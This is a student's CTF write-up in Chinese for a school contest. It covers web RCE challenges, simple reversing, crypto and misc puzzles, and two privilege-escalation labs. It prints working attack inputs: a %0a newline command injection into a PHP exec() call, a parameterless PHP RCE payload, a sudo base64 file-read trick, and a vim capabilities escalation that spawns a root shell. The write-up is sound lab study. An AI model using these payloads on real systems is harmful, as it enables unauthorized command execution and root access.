前言

没能进前十多少还是有点遗憾,不过也无所谓了(
这次校赛作为个人赛规模不大,也是趁此过了一下拿血的瘾(
个人感觉web,misc和部分crypto都是属于常规比赛难度的,难度还是有的,re确实是随手ak的程度,pwn的话要是会用相关环境估计也能多打几题
WEB
Online Shell
源码泄露
RCE
打开题目发现一个登录框

一开始以为是sql注入磨了半天没有进展,后来看了一眼题目名就去搜了一下,意外发现之前ISCTF也有一道题目名字相同的题,那题用到了www.zip进行源码泄露,没想到这题也适用(
index.php(登录框部分,原来username和password是直接蒙的吗)
<!DOCTYPE html>
<html>
<head>
	<title>Login Page</title>
	<style>
		body {
			font-family: Arial, sans-serif;
			background-color: #f2f2f2;
		}
		.container {
			background-color: #ffffff;
			border-radius: 5px;
			box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.3);
			padding: 20px;
			margin: 50px auto;
			max-width: 400px;
			text-align: center;
		}
		h1 {
			font-size: 24px;
			margin-bottom: 20px;
		}
		input[type="text"], input[type="password"] {
			padding: 5px;
			border: 1px solid #ccc;
			border-radius: 3px;
			width: 100%;
			box-sizing: border-box;
			margin-bottom: 10px;
			font-size: 16px;
		}
		input[type="submit"] {
			background-color: #4CAF50;
			color: #ffffff;
			padding: 10px;
			border: none;
			border-radius: 5px;
			cursor: pointer;
		}
		input[type="submit"]:hover {
			background-color: #3e8e41;
		}
		.error {
			color: red;
			margin-bottom: 20px;
		}
		.link {
			color: #1e90ff;
			text-decoration: none;
		}
		.link:hover {
			text-decoration: underline;
		}
	</style>
</head>
<body>
	<div class="container">
		<h1>Login</h1>
		<?php
			// Code for login validation here
			if (isset($_POST["submit"])) {
				// Check if the username and password are valid
				$username = $_POST["username"];
				$password = $_POST["password"];
                if($username=='admin' and $password=='password'){
                    echo "source in www.zip";
                }else{
                    echo "Login Failed";
                }
			}
		?>
		<form method="post">
			<input type="text" name="username" placeholder="Username" required>
			<input type="password" name="password" placeholder="Password" required>
			<input type="submit" name="submit" value="Login">
		</form>
	</div>
</body>
</html>
eval.php
<?php
    /* 
        wowo
    */
    $args = @$_GET['args'];
    echo "<br>";
    if (count($args) >3) {
        echo "too many args";
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){  
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            echo "invalid args".$args[$i]."<br>";
            exit();
        }
    }
    
    $cmd = "/bin/255 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
题目要求传入args数组长度不能超过3
还需要绕过/^\w+$/(限定一个任意长字符串,全部由字母数字或下划线组成,前面中间后面都不能有空格、标点等非\w字符)
最后使用exec进行命令执行,implode函数为命令执行提供所需的空格
思路
本题主要问题在于绕过正则,这里可以使用%0a换行解析漏洞绕过,然后在下一个数组进行命令执行
?args[]=xxx%0a&args[]=ls

由此可以查看目录

直接cat flag获取
跟你双排纯坐牢
无参RCE
先打开看看,发现一个页面(也是等会要进行RCE的页面)

crtl+u看看网页源码,发现一个注释和一个禁用右键的js(这个好像没啥用)

f12打开网络在响应头找到hint

访问/spark.php并在html头找到hint

访问/h111int.php

得知要传的是get请求,参数是code,题目类型是RCE
然后回到最开始的页面进行尝试
经过测试发现这题过滤了包括$和_在内的大多数字符和所有数字

于是猜测是无参RCE
直接上payload获取flag
highlight_file(reset(array_reverse(scandir(current(localeconv())))));

PWN
baigei
下载题目附件拖入ida并f5进行反编译

查看login()函数

得知username为admin,password为114514,由此可获取shell
于是nc连接靶机
题目提示flag在环境变量里,set获取环境变量得到flag

REVERSE
eazy reverse
下载题目附件拖入ida64并f5进行反编译,直接发现flag

bassssse 64
下载题目附件拖入ida64并f5进行反编译

发现一串base64,在cyberchef解密得到flag

random world
下载题目附件得到pyhton源码
import random
flag = '***********************************'
random.seed(1)
l = []
for i in range(7):
    l.append(random.getrandbits(8))
result=[]
for i in range(len(l)):
    random.seed(l[i])
    for n in range(5):
        result.append(ord(flag[i*5+n])^random.getrandbits(8))
        print(i*5+n)
print(result)
# result = [225, 55, 244, 96, 172, 137, 164, 162, 15, 134, 182, 80, 251, 91, 218, 48, 15, 209, 124, 214, 234, 4, 100, 193, 3, 49, 39, 44, 120, 90, 90, 59, 120, 231, 165]
发现是固定种子的随机数生成与异或
生成方式不变,直接逆向编写python脚本得到flag
import random
result = [225, 55, 244, 96, 172, 137, 164, 162, 15, 134, 182, 80, 251, 91, 218, 48, 15, 209, 124, 214, 234, 4, 100, 193, 3, 49, 39, 44, 120, 90, 90, 59, 120, 231, 165]
random.seed(1)
l = []
for i in range(7):
    l.append(random.getrandbits(8))
flag= ''
for i in range(len(l)):
    random.seed(l[i])
    for n in range(5):
        flag+=chr((result[i*5+n])^random.getrandbits(8))
        print(i*5+n)
print(flag)

Crypto
babyCrypto
下载题目附件获取密文与key
询问AI得知国密中可替换DES/AES的加密算法为SM4
直接在cyberchef内解密得到flag

简单的莫斯电码
密文一眼莫斯

MISC
开门题
下载题目txt附件丢到010中发现存在大量零宽字符

将整段txt内容使用网站在线解密得到逆序flag

编写脚本使其正序
str="}ysae_os_si_yhpargonagets_ecaps_htdiw_orez{galf"
print(str[::-1])

osint1
手动爆破出斯洛伐克(
PPC
suuuuudo
ssh连上靶机(用户名ctf,密码ctf)
ls查看目录发现flag,但是权限不足不能直接cat读取

使用sudo -l查看授权的命令列表

发现只有base64命令可以使用
在网站上查询对应的exp
sudo base64 "$LFILE" | base64 --decode
由此可以读取flag

capabilities
ssh连上靶机(用户名密码同上)(这里用虚拟机连接,因为windterm因为不明原因跑exp会卡住)
ls查看目录发现vim和flag

根据题目名得知和capabilities有关
查询得到相关exp
getcap -r / 2>/dev/null

vim在cap里面,于是尝试提权
./vim -c ':py3 import os;os.setuid(0);os.execl("/bin/sh","sh","-c","reset; exec sh")'
提权成功直接执行命令获取flag
